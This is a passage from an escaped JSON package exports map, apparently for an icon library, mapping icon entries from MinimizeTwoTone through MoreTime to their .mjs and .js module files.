\"default\": \"./MinimizeTwoTone.mjs\"\n    },\n    \"./MinorCrash\": {\n      \"import\": \"./MinorCrash.mjs\",\n      \"require\": \"./MinorCrash.js\",\n      \"default\": \"./MinorCrash.mjs\"\n    },\n    \"./MinorCrashOutlined\": {\n      \"import\": \"./MinorCrashOutlined.mjs\",\n      \"require\": \"./MinorCrashOutlined.js\",\n      \"default\": \"./MinorCrashOutlined.mjs\"\n    },\n    \"./MinorCrashRounded\": {\n      \"import\": \"./MinorCrashRounded.mjs\",\n      \"require\": \"./MinorCrashRounded.js\",\n      \"default\": \"./MinorCrashRounded.mjs\"\n    },\n    \"./MinorCrashSharp\": {\n      \"import\": \"./MinorCrashSharp.mjs\",\n      \"require\": \"./MinorCrashSharp.js\",\n      \"default\": \"./MinorCrashSharp.mjs\"\n    },\n    \"./MinorCrashTwoTone\": {\n      \"import\": \"./MinorCrashTwoTone.mjs\",\n      \"require\": \"./MinorCrashTwoTone.js\",\n      \"default\": \"./MinorCrashTwoTone.mjs\"\n    },\n    \"./MiscellaneousServices\": {\n      \"import\": \"./MiscellaneousServices.mjs\",\n      \"require\": \"./MiscellaneousServices.js\",\n      \"default\": \"./MiscellaneousServices.mjs\"\n    },\n    \"./MiscellaneousServicesOutlined\": {\n      \"import\": \"./MiscellaneousServicesOutlined.mjs\",\n      \"require\": \"./MiscellaneousServicesOutlined.js\",\n      \"default\": \"./MiscellaneousServicesOutlined.mjs\"\n    },\n    \"./MiscellaneousServicesRounded\": {\n      \"import\": \"./MiscellaneousServicesRounded.mjs\",\n      \"require\": \"./MiscellaneousServicesRounded.js\",\n      \"default\": \"./MiscellaneousServicesRounded.mjs\"\n    },\n    \"./MiscellaneousServicesSharp\": {\n      \"import\": \"./MiscellaneousServicesSharp.mjs\",\n      \"require\": \"./MiscellaneousServicesSharp.js\",\n      \"default\": \"./MiscellaneousServicesSharp.mjs\"\n    },\n    \"./MiscellaneousServicesTwoTone\": {\n      \"import\": \"./MiscellaneousServicesTwoTone.mjs\",\n      \"require\": \"./MiscellaneousServicesTwoTone.js\",\n      \"default\": \"./MiscellaneousServicesTwoTone.mjs\"\n    },\n    \"./MissedVideoCall\": {\n      \"import\": \"./MissedVideoCall.mjs\",\n      \"require\": \"./MissedVideoCall.js\",\n      \"default\": \"./MissedVideoCall.mjs\"\n    },\n    \"./MissedVideoCallOutlined\": {\n      \"import\": \"./MissedVideoCallOutlined.mjs\",\n      \"require\": \"./MissedVideoCallOutlined.js\",\n      \"default\": \"./MissedVideoCallOutlined.mjs\"\n    },\n    \"./MissedVideoCallRounded\": {\n      \"import\": \"./MissedVideoCallRounded.mjs\",\n      \"require\": \"./MissedVideoCallRounded.js\",\n      \"default\": \"./MissedVideoCallRounded.mjs\"\n    },\n    \"./MissedVideoCallSharp\": {\n      \"import\": \"./MissedVideoCallSharp.mjs\",\n      \"require\": \"./MissedVideoCallSharp.js\",\n      \"default\": \"./MissedVideoCallSharp.mjs\"\n    },\n    \"./MissedVideoCallTwoTone\": {\n      \"import\": \"./MissedVideoCallTwoTone.mjs\",\n      \"require\": \"./MissedVideoCallTwoTone.js\",\n      \"default\": \"./MissedVideoCallTwoTone.mjs\"\n    },\n    \"./Mms\": {\n      \"import\": \"./Mms.mjs\",\n      \"require\": \"./Mms.js\",\n      \"default\": \"./Mms.mjs\"\n    },\n    \"./MmsOutlined\": {\n      \"import\": \"./MmsOutlined.mjs\",\n      \"require\": \"./MmsOutlined.js\",\n      \"default\": \"./MmsOutlined.mjs\"\n    },\n    \"./MmsRounded\": {\n      \"import\": \"./MmsRounded.mjs\",\n      \"require\": \"./MmsRounded.js\",\n      \"default\": \"./MmsRounded.mjs\"\n    },\n    \"./MmsSharp\": {\n      \"import\": \"./MmsSharp.mjs\",\n      \"require\": \"./MmsSharp.js\",\n      \"default\": \"./MmsSharp.mjs\"\n    },\n    \"./MmsTwoTone\": {\n      \"import\": \"./MmsTwoTone.mjs\",\n      \"require\": \"./MmsTwoTone.js\",\n      \"default\": \"./MmsTwoTone.mjs\"\n    },\n    \"./MobileFriendly\": {\n      \"import\": \"./MobileFriendly.mjs\",\n      \"require\": \"./MobileFriendly.js\",\n      \"default\": \"./MobileFriendly.mjs\"\n    },\n    \"./MobileFriendlyOutlined\": {\n      \"import\": \"./MobileFriendlyOutlined.mjs\",\n      \"require\": \"./MobileFriendlyOutlined.js\",\n      \"default\": \"./MobileFriendlyOutlined.mjs\"\n    },\n    \"./MobileFriendlyRounded\": {\n      \"import\": \"./MobileFriendlyRounded.mjs\",\n      \"require\": \"./MobileFriendlyRounded.js\",\n      \"default\": \"./MobileFriendlyRounded.mjs\"\n    },\n    \"./MobileFriendlySharp\": {\n      \"import\": \"./MobileFriendlySharp.mjs\",\n      \"require\": \"./MobileFriendlySharp.js\",\n      \"default\": \"./MobileFriendlySharp.mjs\"\n    },\n    \"./MobileFriendlyTwoTone\": {\n      \"import\": \"./MobileFriendlyTwoTone.mjs\",\n      \"require\": \"./MobileFriendlyTwoTone.js\",\n      \"default\": \"./MobileFriendlyTwoTone.mjs\"\n    },\n    \"./MobileOff\": {\n      \"import\": \"./MobileOff.mjs\",\n      \"require\": \"./MobileOff.js\",\n      \"default\": \"./MobileOff.mjs\"\n    },\n    \"./MobileOffOutlined\": {\n      \"import\": \"./MobileOffOutlined.mjs\",\n      \"require\": \"./MobileOffOutlined.js\",\n      \"default\": \"./MobileOffOutlined.mjs\"\n    },\n    \"./MobileOffRounded\": {\n      \"import\": \"./MobileOffRounded.mjs\",\n      \"require\": \"./MobileOffRounded.js\",\n      \"default\": \"./MobileOffRounded.mjs\"\n    },\n    \"./MobileOffSharp\": {\n      \"import\": \"./MobileOffSharp.mjs\",\n      \"require\": \"./MobileOffSharp.js\",\n      \"default\": \"./MobileOffSharp.mjs\"\n    },\n    \"./MobileOffTwoTone\": {\n      \"import\": \"./MobileOffTwoTone.mjs\",\n      \"require\": \"./MobileOffTwoTone.js\",\n      \"default\": \"./MobileOffTwoTone.mjs\"\n    },\n    \"./MobileScreenShare\": {\n      \"import\": \"./MobileScreenShare.mjs\",\n      \"require\": \"./MobileScreenShare.js\",\n      \"default\": \"./MobileScreenShare.mjs\"\n    },\n    \"./MobileScreenShareOutlined\": {\n      \"import\": \"./MobileScreenShareOutlined.mjs\",\n      \"require\": \"./MobileScreenShareOutlined.js\",\n      \"default\": \"./MobileScreenShareOutlined.mjs\"\n    },\n    \"./MobileScreenShareRounded\": {\n      \"import\": \"./MobileScreenShareRounded.mjs\",\n      \"require\": \"./MobileScreenShareRounded.js\",\n      \"default\": \"./MobileScreenShareRounded.mjs\"\n    },\n    \"./MobileScreenShareSharp\": {\n      \"import\": \"./MobileScreenShareSharp.mjs\",\n      \"require\": \"./MobileScreenShareSharp.js\",\n      \"default\": \"./MobileScreenShareSharp.mjs\"\n    },\n    \"./MobileScreenShareTwoTone\": {\n      \"import\": \"./MobileScreenShareTwoTone.mjs\",\n      \"require\": \"./MobileScreenShareTwoTone.js\",\n      \"default\": \"./MobileScreenShareTwoTone.mjs\"\n    },\n    \"./MobiledataOff\": {\n      \"import\": \"./MobiledataOff.mjs\",\n      \"require\": \"./MobiledataOff.js\",\n      \"default\": \"./MobiledataOff.mjs\"\n    },\n    \"./MobiledataOffOutlined\": {\n      \"import\": \"./MobiledataOffOutlined.mjs\",\n      \"require\": \"./MobiledataOffOutlined.js\",\n      \"default\": \"./MobiledataOffOutlined.mjs\"\n    },\n    \"./MobiledataOffRounded\": {\n      \"import\": \"./MobiledataOffRounded.mjs\",\n      \"require\": \"./MobiledataOffRounded.js\",\n      \"default\": \"./MobiledataOffRounded.mjs\"\n    },\n    \"./MobiledataOffSharp\": {\n      \"import\": \"./MobiledataOffSharp.mjs\",\n      \"require\": \"./MobiledataOffSharp.js\",\n      \"default\": \"./MobiledataOffSharp.mjs\"\n    },\n    \"./MobiledataOffTwoTone\": {\n      \"import\": \"./MobiledataOffTwoTone.mjs\",\n      \"require\": \"./MobiledataOffTwoTone.js\",\n      \"default\": \"./MobiledataOffTwoTone.mjs\"\n    },\n    \"./Mode\": {\n      \"import\": \"./Mode.mjs\",\n      \"require\": \"./Mode.js\",\n      \"default\": \"./Mode.mjs\"\n    },\n    \"./ModeComment\": {\n      \"import\": \"./ModeComment.mjs\",\n      \"require\": \"./ModeComment.js\",\n      \"default\": \"./ModeComment.mjs\"\n    },\n    \"./ModeCommentOutlined\": {\n      \"import\": \"./ModeCommentOutlined.mjs\",\n      \"require\": \"./ModeCommentOutlined.js\",\n      \"default\": \"./ModeCommentOutlined.mjs\"\n    },\n    \"./ModeCommentRounded\": {\n      \"import\": \"./ModeCommentRounded.mjs\",\n      \"require\": \"./ModeCommentRounded.js\",\n      \"default\": \"./ModeCommentRounded.mjs\"\n    },\n    \"./ModeCommentSharp\": {\n      \"import\": \"./ModeCommentSharp.mjs\",\n      \"require\": \"./ModeCommentSharp.js\",\n      \"default\": \"./ModeCommentSharp.mjs\"\n    },\n    \"./ModeCommentTwoTone\": {\n      \"import\": \"./ModeCommentTwoTone.mjs\",\n      \"require\": \"./ModeCommentTwoTone.js\",\n      \"default\": \"./ModeCommentTwoTone.mjs\"\n    },\n    \"./ModeEdit\": {\n      \"import\": \"./ModeEdit.mjs\",\n      \"require\": \"./ModeEdit.js\",\n      \"default\": \"./ModeEdit.mjs\"\n    },\n    \"./ModeEditOutline\": {\n      \"import\": \"./ModeEditOutline.mjs\",\n      \"require\": \"./ModeEditOutline.js\",\n      \"default\": \"./ModeEditOutline.mjs\"\n    },\n    \"./ModeEditOutlineOutlined\": {\n      \"import\": \"./ModeEditOutlineOutlined.mjs\",\n      \"require\": \"./ModeEditOutlineOutlined.js\",\n      \"default\": \"./ModeEditOutlineOutlined.mjs\"\n    },\n    \"./ModeEditOutlineRounded\": {\n      \"import\": \"./ModeEditOutlineRounded.mjs\",\n      \"require\": \"./ModeEditOutlineRounded.js\",\n      \"default\": \"./ModeEditOutlineRounded.mjs\"\n    },\n    \"./ModeEditOutlineSharp\": {\n      \"import\": \"./ModeEditOutlineSharp.mjs\",\n      \"require\": \"./ModeEditOutlineSharp.js\",\n      \"default\": \"./ModeEditOutlineSharp.mjs\"\n    },\n    \"./ModeEditOutlineTwoTone\": {\n      \"import\": \"./ModeEditOutlineTwoTone.mjs\",\n      \"require\": \"./ModeEditOutlineTwoTone.js\",\n      \"default\": \"./ModeEditOutlineTwoTone.mjs\"\n    },\n    \"./ModeEditOutlined\": {\n      \"import\": \"./ModeEditOutlined.mjs\",\n      \"require\": \"./ModeEditOutlined.js\",\n      \"default\": \"./ModeEditOutlined.mjs\"\n    },\n    \"./ModeEditRounded\": {\n      \"import\": \"./ModeEditRounded.mjs\",\n      \"require\": \"./ModeEditRounded.js\",\n      \"default\": \"./ModeEditRounded.mjs\"\n    },\n    \"./ModeEditSharp\": {\n      \"import\": \"./ModeEditSharp.mjs\",\n      \"require\": \"./ModeEditSharp.js\",\n      \"default\": \"./ModeEditSharp.mjs\"\n    },\n    \"./ModeEditTwoTone\": {\n      \"import\": \"./ModeEditTwoTone.mjs\",\n      \"require\": \"./ModeEditTwoTone.js\",\n      \"default\": \"./ModeEditTwoTone.mjs\"\n    },\n    \"./ModeFanOff\": {\n      \"import\": \"./ModeFanOff.mjs\",\n      \"require\": \"./ModeFanOff.js\",\n      \"default\": \"./ModeFanOff.mjs\"\n    },\n    \"./ModeFanOffOutlined\": {\n      \"import\": \"./ModeFanOffOutlined.mjs\",\n      \"require\": \"./ModeFanOffOutlined.js\",\n      \"default\": \"./ModeFanOffOutlined.mjs\"\n    },\n    \"./ModeFanOffRounded\": {\n      \"import\": \"./ModeFanOffRounded.mjs\",\n      \"require\": \"./ModeFanOffRounded.js\",\n      \"default\": \"./ModeFanOffRounded.mjs\"\n    },\n    \"./ModeFanOffSharp\": {\n      \"import\": \"./ModeFanOffSharp.mjs\",\n      \"require\": \"./ModeFanOffSharp.js\",\n      \"default\": \"./ModeFanOffSharp.mjs\"\n    },\n    \"./ModeFanOffTwoTone\": {\n      \"import\": \"./ModeFanOffTwoTone.mjs\",\n      \"require\": \"./ModeFanOffTwoTone.js\",\n      \"default\": \"./ModeFanOffTwoTone.mjs\"\n    },\n    \"./ModeNight\": {\n      \"import\": \"./ModeNight.mjs\",\n      \"require\": \"./ModeNight.js\",\n      \"default\": \"./ModeNight.mjs\"\n    },\n    \"./ModeNightOutlined\": {\n      \"import\": \"./ModeNightOutlined.mjs\",\n      \"require\": \"./ModeNightOutlined.js\",\n      \"default\": \"./ModeNightOutlined.mjs\"\n    },\n    \"./ModeNightRounded\": {\n      \"import\": \"./ModeNightRounded.mjs\",\n      \"require\": \"./ModeNightRounded.js\",\n      \"default\": \"./ModeNightRounded.mjs\"\n    },\n    \"./ModeNightSharp\": {\n      \"import\": \"./ModeNightSharp.mjs\",\n      \"require\": \"./ModeNightSharp.js\",\n      \"default\": \"./ModeNightSharp.mjs\"\n    },\n    \"./ModeNightTwoTone\": {\n      \"import\": \"./ModeNightTwoTone.mjs\",\n      \"require\": \"./ModeNightTwoTone.js\",\n      \"default\": \"./ModeNightTwoTone.mjs\"\n    },\n    \"./ModeOfTravel\": {\n      \"import\": \"./ModeOfTravel.mjs\",\n      \"require\": \"./ModeOfTravel.js\",\n      \"default\": \"./ModeOfTravel.mjs\"\n    },\n    \"./ModeOfTravelOutlined\": {\n      \"import\": \"./ModeOfTravelOutlined.mjs\",\n      \"require\": \"./ModeOfTravelOutlined.js\",\n      \"default\": \"./ModeOfTravelOutlined.mjs\"\n    },\n    \"./ModeOfTravelRounded\": {\n      \"import\": \"./ModeOfTravelRounded.mjs\",\n      \"require\": \"./ModeOfTravelRounded.js\",\n      \"default\": \"./ModeOfTravelRounded.mjs\"\n    },\n    \"./ModeOfTravelSharp\": {\n      \"import\": \"./ModeOfTravelSharp.mjs\",\n      \"require\": \"./ModeOfTravelSharp.js\",\n      \"default\": \"./ModeOfTravelSharp.mjs\"\n    },\n    \"./ModeOfTravelTwoTone\": {\n      \"require\": \"./ModeOfTravelTwoTone.js\",\n      \"import\": \"./ModeOfTravelTwoTone.mjs\",\n      \"default\": \"./ModeOfTravelTwoTone.mjs\"\n    },\n    \"./ModeOutlined\": {\n      \"require\": \"./ModeOutlined.js\",\n      \"import\": \"./ModeOutlined.mjs\",\n      \"default\": \"./ModeOutlined.mjs\"\n    },\n    \"./ModeRounded\": {\n      \"require\": \"./ModeRounded.js\",\n      \"import\": \"./ModeRounded.mjs\",\n      \"default\": \"./ModeRounded.mjs\"\n    },\n    \"./ModeSharp\": {\n      \"require\": \"./ModeSharp.js\",\n      \"import\": \"./ModeSharp.mjs\",\n      \"default\": \"./ModeSharp.mjs\"\n    },\n    \"./ModeStandby\": {\n      \"require\": \"./ModeStandby.js\",\n      \"import\": \"./ModeStandby.mjs\",\n      \"default\": \"./ModeStandby.mjs\"\n    },\n    \"./ModeStandbyOutlined\": {\n      \"require\": \"./ModeStandbyOutlined.js\",\n      \"import\": \"./ModeStandbyOutlined.mjs\",\n      \"default\": \"./ModeStandbyOutlined.mjs\"\n    },\n    \"./ModeStandbyRounded\": {\n      \"require\": \"./ModeStandbyRounded.js\",\n      \"import\": \"./ModeStandbyRounded.mjs\",\n      \"default\": \"./ModeStandbyRounded.mjs\"\n    },\n    \"./ModeStandbySharp\": {\n      \"import\": \"./ModeStandbySharp.mjs\",\n      \"require\": \"./ModeStandbySharp.js\",\n      \"default\": \"./ModeStandbySharp.mjs\"\n    },\n    \"./ModeStandbyTwoTone\": {\n      \"import\": \"./ModeStandbyTwoTone.mjs\",\n      \"require\": \"./ModeStandbyTwoTone.js\",\n      \"default\": \"./ModeStandbyTwoTone.mjs\"\n    },\n    \"./ModeTwoTone\": {\n      \"import\": \"./ModeTwoTone.mjs\",\n      \"require\": \"./ModeTwoTone.js\",\n      \"default\": \"./ModeTwoTone.mjs\"\n    },\n    \"./ModelTraining\": {\n      \"require\": \"./ModelTraining.js\",\n      \"import\": \"./ModelTraining.mjs\",\n      \"default\": \"./ModelTraining.mjs\"\n    },\n    \"./ModelTrainingOutlined\": {\n      \"require\": \"./ModelTrainingOutlined.js\",\n      \"import\": \"./ModelTrainingOutlined.mjs\",\n      \"default\": \"./ModelTrainingOutlined.mjs\"\n    },\n    \"./ModelTrainingRounded\": {\n      \"require\": \"./ModelTrainingRounded.js\",\n      \"import\": \"./ModelTrainingRounded.mjs\",\n      \"default\": \"./ModelTrainingRounded.mjs\"\n    },\n    \"./ModelTrainingSharp\": {\n      \"require\": \"./ModelTrainingSharp.js\",\n      \"import\": \"./ModelTrainingSharp.mjs\",\n      \"default\": \"./ModelTrainingSharp.mjs\"\n    },\n    \"./ModelTrainingTwoTone\": {\n      \"import\": \"./ModelTrainingTwoTone.mjs\",\n      \"require\": \"./ModelTrainingTwoTone.js\",\n      \"default\": \"./ModelTrainingTwoTone.mjs\"\n    },\n    \"./MonetizationOn\": {\n      \"require\": \"./MonetizationOn.js\",\n      \"import\": \"./MonetizationOn.mjs\",\n      \"default\": \"./MonetizationOn.mjs\"\n    },\n    \"./MonetizationOnOutlined\": {\n      \"require\": \"./MonetizationOnOutlined.js\",\n      \"import\": \"./MonetizationOnOutlined.mjs\",\n      \"default\": \"./MonetizationOnOutlined.mjs\"\n    },\n    \"./MonetizationOnRounded\": {\n      \"require\": \"./MonetizationOnRounded.js\",\n      \"import\": \"./MonetizationOnRounded.mjs\",\n      \"default\": \"./MonetizationOnRounded.mjs\"\n    },\n    \"./MonetizationOnSharp\": {\n      \"import\": \"./MonetizationOnSharp.mjs\",\n      \"require\": \"./MonetizationOnSharp.js\",\n      \"default\": \"./MonetizationOnSharp.mjs\"\n    },\n    \"./MonetizationOnTwoTone\": {\n      \"import\": \"./MonetizationOnTwoTone.mjs\",\n      \"require\": \"./MonetizationOnTwoTone.js\",\n      \"default\": \"./MonetizationOnTwoTone.mjs\"\n    },\n    \"./Money\": {\n      \"import\": \"./Money.mjs\",\n      \"require\": \"./Money.js\",\n      \"default\": \"./Money.mjs\"\n    },\n    \"./MoneyOff\": {\n      \"import\": \"./MoneyOff.mjs\",\n      \"require\": \"./MoneyOff.js\",\n      \"default\": \"./MoneyOff.mjs\"\n    },\n    \"./MoneyOffCsred\": {\n      \"import\": \"./MoneyOffCsred.mjs\",\n      \"require\": \"./MoneyOffCsred.js\",\n      \"default\": \"./MoneyOffCsred.mjs\"\n    },\n    \"./MoneyOffCsredOutlined\": {\n      \"import\": \"./MoneyOffCsredOutlined.mjs\",\n      \"require\": \"./MoneyOffCsredOutlined.js\",\n      \"default\": \"./MoneyOffCsredOutlined.mjs\"\n    },\n    \"./MoneyOffCsredRounded\": {\n      \"import\": \"./MoneyOffCsredRounded.mjs\",\n      \"require\": \"./MoneyOffCsredRounded.js\",\n      \"default\": \"./MoneyOffCsredRounded.mjs\"\n    },\n    \"./MoneyOffCsredSharp\": {\n      \"import\": \"./MoneyOffCsredSharp.mjs\",\n      \"require\": \"./MoneyOffCsredSharp.js\",\n      \"default\": \"./MoneyOffCsredSharp.mjs\"\n    },\n    \"./MoneyOffCsredTwoTone\": {\n      \"import\": \"./MoneyOffCsredTwoTone.mjs\",\n      \"require\": \"./MoneyOffCsredTwoTone.js\",\n      \"default\": \"./MoneyOffCsredTwoTone.mjs\"\n    },\n    \"./MoneyOffOutlined\": {\n      \"import\": \"./MoneyOffOutlined.mjs\",\n      \"require\": \"./MoneyOffOutlined.js\",\n      \"default\": \"./MoneyOffOutlined.mjs\"\n    },\n    \"./MoneyOffRounded\": {\n      \"import\": \"./MoneyOffRounded.mjs\",\n      \"require\": \"./MoneyOffRounded.js\",\n      \"default\": \"./MoneyOffRounded.mjs\"\n    },\n    \"./MoneyOffSharp\": {\n      \"import\": \"./MoneyOffSharp.mjs\",\n      \"require\": \"./MoneyOffSharp.js\",\n      \"default\": \"./MoneyOffSharp.mjs\"\n    },\n    \"./MoneyOffTwoTone\": {\n      \"require\": \"./MoneyOffTwoTone.js\",\n      \"import\": \"./MoneyOffTwoTone.mjs\",\n      \"default\": \"./MoneyOffTwoTone.mjs\"\n    },\n    \"./MoneyOutlined\": {\n      \"require\": \"./MoneyOutlined.js\",\n      \"import\": \"./MoneyOutlined.mjs\",\n      \"default\": \"./MoneyOutlined.mjs\"\n    },\n    \"./MoneyRounded\": {\n      \"import\": \"./MoneyRounded.mjs\",\n      \"require\": \"./MoneyRounded.js\",\n      \"default\": \"./MoneyRounded.mjs\"\n    },\n    \"./MoneySharp\": {\n      \"require\": \"./MoneySharp.js\",\n      \"import\": \"./MoneySharp.mjs\",\n      \"default\": \"./MoneySharp.mjs\"\n    },\n    \"./MoneyTwoTone\": {\n      \"require\": \"./MoneyTwoTone.js\",\n      \"import\": \"./MoneyTwoTone.mjs\",\n      \"default\": \"./MoneyTwoTone.mjs\"\n    },\n    \"./Monitor\": {\n      \"require\": \"./Monitor.js\",\n      \"import\": \"./Monitor.mjs\",\n      \"default\": \"./Monitor.mjs\"\n    },\n    \"./MonitorHeart\": {\n      \"require\": \"./MonitorHeart.js\",\n      \"import\": \"./MonitorHeart.mjs\",\n      \"default\": \"./MonitorHeart.mjs\"\n    },\n    \"./MonitorHeartOutlined\": {\n      \"require\": \"./MonitorHeartOutlined.js\",\n      \"import\": \"./MonitorHeartOutlined.mjs\",\n      \"default\": \"./MonitorHeartOutlined.mjs\"\n    },\n    \"./MonitorHeartRounded\": {\n      \"require\": \"./MonitorHeartRounded.js\",\n      \"import\": \"./MonitorHeartRounded.mjs\",\n      \"default\": \"./MonitorHeartRounded.mjs\"\n    },\n    \"./MonitorHeartSharp\": {\n      \"require\": \"./MonitorHeartSharp.js\",\n      \"import\": \"./MonitorHeartSharp.mjs\",\n      \"default\": \"./MonitorHeartSharp.mjs\"\n    },\n    \"./MonitorHeartTwoTone\": {\n      \"require\": \"./MonitorHeartTwoTone.js\",\n      \"import\": \"./MonitorHeartTwoTone.mjs\",\n      \"default\": \"./MonitorHeartTwoTone.mjs\"\n    },\n    \"./MonitorOutlined\": {\n      \"require\": \"./MonitorOutlined.js\",\n      \"import\": \"./MonitorOutlined.mjs\",\n      \"default\": \"./MonitorOutlined.mjs\"\n    },\n    \"./MonitorRounded\": {\n      \"require\": \"./MonitorRounded.js\",\n      \"import\": \"./MonitorRounded.mjs\",\n      \"default\": \"./MonitorRounded.mjs\"\n    },\n    \"./MonitorSharp\": {\n      \"require\": \"./MonitorSharp.js\",\n      \"import\": \"./MonitorSharp.mjs\",\n      \"default\": \"./MonitorSharp.mjs\"\n    },\n    \"./MonitorTwoTone\": {\n      \"require\": \"./MonitorTwoTone.js\",\n      \"import\": \"./MonitorTwoTone.mjs\",\n      \"default\": \"./MonitorTwoTone.mjs\"\n    },\n    \"./MonitorWeight\": {\n      \"require\": \"./MonitorWeight.js\",\n      \"import\": \"./MonitorWeight.mjs\",\n      \"default\": \"./MonitorWeight.mjs\"\n    },\n    \"./MonitorWeightOutlined\": {\n      \"require\": \"./MonitorWeightOutlined.js\",\n      \"import\": \"./MonitorWeightOutlined.mjs\",\n      \"default\": \"./MonitorWeightOutlined.mjs\"\n    },\n    \"./MonitorWeightRounded\": {\n      \"require\": \"./MonitorWeightRounded.js\",\n      \"import\": \"./MonitorWeightRounded.mjs\",\n      \"default\": \"./MonitorWeightRounded.mjs\"\n    },\n    \"./MonitorWeightSharp\": {\n      \"require\": \"./MonitorWeightSharp.js\",\n      \"import\": \"./MonitorWeightSharp.mjs\",\n      \"default\": \"./MonitorWeightSharp.mjs\"\n    },\n    \"./MonitorWeightTwoTone\": {\n      \"require\": \"./MonitorWeightTwoTone.js\",\n      \"import\": \"./MonitorWeightTwoTone.mjs\",\n      \"default\": \"./MonitorWeightTwoTone.mjs\"\n    },\n    \"./MonochromePhotos\": {\n      \"require\": \"./MonochromePhotos.js\",\n      \"import\": \"./MonochromePhotos.mjs\",\n      \"default\": \"./MonochromePhotos.mjs\"\n    },\n    \"./MonochromePhotosOutlined\": {\n      \"require\": \"./MonochromePhotosOutlined.js\",\n      \"import\": \"./MonochromePhotosOutlined.mjs\",\n      \"default\": \"./MonochromePhotosOutlined.mjs\"\n    },\n    \"./MonochromePhotosRounded\": {\n      \"require\": \"./MonochromePhotosRounded.js\",\n      \"import\": \"./MonochromePhotosRounded.mjs\",\n      \"default\": \"./MonochromePhotosRounded.mjs\"\n    },\n    \"./MonochromePhotosSharp\": {\n      \"require\": \"./MonochromePhotosSharp.js\",\n      \"import\": \"./MonochromePhotosSharp.mjs\",\n      \"default\": \"./MonochromePhotosSharp.mjs\"\n    },\n    \"./MonochromePhotosTwoTone\": {\n      \"require\": \"./MonochromePhotosTwoTone.js\",\n      \"import\": \"./MonochromePhotosTwoTone.mjs\",\n      \"default\": \"./MonochromePhotosTwoTone.mjs\"\n    },\n    \"./Mood\": {\n      \"import\": \"./Mood.mjs\",\n      \"require\": \"./Mood.js\",\n      \"default\": \"./Mood.mjs\"\n    },\n    \"./MoodBad\": {\n      \"import\": \"./MoodBad.mjs\",\n      \"require\": \"./MoodBad.js\",\n      \"default\": \"./MoodBad.mjs\"\n    },\n    \"./MoodBadOutlined\": {\n      \"require\": \"./MoodBadOutlined.js\",\n      \"import\": \"./MoodBadOutlined.mjs\",\n      \"default\": \"./MoodBadOutlined.mjs\"\n    },\n    \"./MoodBadRounded\": {\n      \"require\": \"./MoodBadRounded.js\",\n      \"import\": \"./MoodBadRounded.mjs\",\n      \"default\": \"./MoodBadRounded.mjs\"\n    },\n    \"./MoodBadSharp\": {\n      \"require\": \"./MoodBadSharp.js\",\n      \"import\": \"./MoodBadSharp.mjs\",\n      \"default\": \"./MoodBadSharp.mjs\"\n    },\n    \"./MoodBadTwoTone\": {\n      \"import\": \"./MoodBadTwoTone.mjs\",\n      \"require\": \"./MoodBadTwoTone.js\",\n      \"default\": \"./MoodBadTwoTone.mjs\"\n    },\n    \"./MoodOutlined\": {\n      \"import\": \"./MoodOutlined.mjs\",\n      \"require\": \"./MoodOutlined.js\",\n      \"default\": \"./MoodOutlined.mjs\"\n    },\n    \"./MoodRounded\": {\n      \"import\": \"./MoodRounded.mjs\",\n      \"require\": \"./MoodRounded.js\",\n      \"default\": \"./MoodRounded.mjs\"\n    },\n    \"./MoodSharp\": {\n      \"import\": \"./MoodSharp.mjs\",\n      \"require\": \"./MoodSharp.js\",\n      \"default\": \"./MoodSharp.mjs\"\n    },\n    \"./MoodTwoTone\": {\n      \"import\": \"./MoodTwoTone.mjs\",\n      \"require\": \"./MoodTwoTone.js\",\n      \"default\": \"./MoodTwoTone.mjs\"\n    },\n    \"./Moped\": {\n      \"import\": \"./Moped.mjs\",\n      \"require\": \"./Moped.js\",\n      \"default\": \"./Moped.mjs\"\n    },\n    \"./MopedOutlined\": {\n      \"import\": \"./MopedOutlined.mjs\",\n      \"require\": \"./MopedOutlined.js\",\n      \"default\": \"./MopedOutlined.mjs\"\n    },\n    \"./MopedRounded\": {\n      \"import\": \"./MopedRounded.mjs\",\n      \"require\": \"./MopedRounded.js\",\n      \"default\": \"./MopedRounded.mjs\"\n    },\n    \"./MopedSharp\": {\n      \"import\": \"./MopedSharp.mjs\",\n      \"require\": \"./MopedSharp.js\",\n      \"default\": \"./MopedSharp.mjs\"\n    },\n    \"./MopedTwoTone\": {\n      \"import\": \"./MopedTwoTone.mjs\",\n      \"require\": \"./MopedTwoTone.js\",\n      \"default\": \"./MopedTwoTone.mjs\"\n    },\n    \"./More\": {\n      \"import\": \"./More.mjs\",\n      \"require\": \"./More.js\",\n      \"default\": \"./More.mjs\"\n    },\n    \"./MoreHoriz\": {\n      \"import\": \"./MoreHoriz.mjs\",\n      \"require\": \"./MoreHoriz.js\",\n      \"default\": \"./MoreHoriz.mjs\"\n    },\n    \"./MoreHorizOutlined\": {\n      \"import\": \"./MoreHorizOutlined.mjs\",\n      \"require\": \"./MoreHorizOutlined.js\",\n      \"default\": \"./MoreHorizOutlined.mjs\"\n    },\n    \"./MoreHorizRounded\": {\n      \"import\": \"./MoreHorizRounded.mjs\",\n      \"require\": \"./MoreHorizRounded.js\",\n      \"default\": \"./MoreHorizRounded.mjs\"\n    },\n    \"./MoreHorizSharp\": {\n      \"import\": \"./MoreHorizSharp.mjs\",\n      \"require\": \"./MoreHorizSharp.js\",\n      \"default\": \"./MoreHorizSharp.mjs\"\n    },\n    \"./MoreHorizTwoTone\": {\n      \"import\": \"./MoreHorizTwoTone.mjs\",\n      \"require\": \"./MoreHorizTwoTone.js\",\n      \"default\": \"./MoreHorizTwoTone.mjs\"\n    },\n    \"./MoreOutlined\": {\n      \"import\": \"./MoreOutlined.mjs\",\n      \"require\": \"./MoreOutlined.js\",\n      \"default\": \"./MoreOutlined.mjs\"\n    },\n    \"./MoreRounded\": {\n      \"import\": \"./MoreRounded.mjs\",\n      \"require\": \"./MoreRounded.js\",\n      \"default\": \"./MoreRounded.mjs\"\n    },\n    \"./MoreSharp\": {\n      \"import\": \"./MoreSharp.mjs\",\n      \"require\": \"./MoreSharp.js\",\n      \"default\": \"./MoreSharp.mjs\"\n    },\n    \"./MoreTime\": {\n      \"import\": \"./MoreTime.mjs\",\n      \"require\": \"./MoreTime.js\",\n      \"default\": \"./MoreTime.mjs\"\n    },\n    \"./MoreTimeOutlined\": {\n      \"import\": \"./MoreTimeOutlined.mjs\",\n      \"require\": \"./MoreTimeOutlined.js\",\n      \"default\": \"./MoreTimeOutlined.mjs\"\n    },\n    \"./MoreTimeRounded\": {\n      \"import\": \"./MoreTimeRounded.mjs\",\n      \"require\": \"./MoreTimeRounded.js\",\n      \"default\": \"./MoreTimeRounded.mjs\"\n    },\n    \"./MoreTimeSharp\": {\n      \"import\": \"./MoreTimeSharp.mjs\",\n      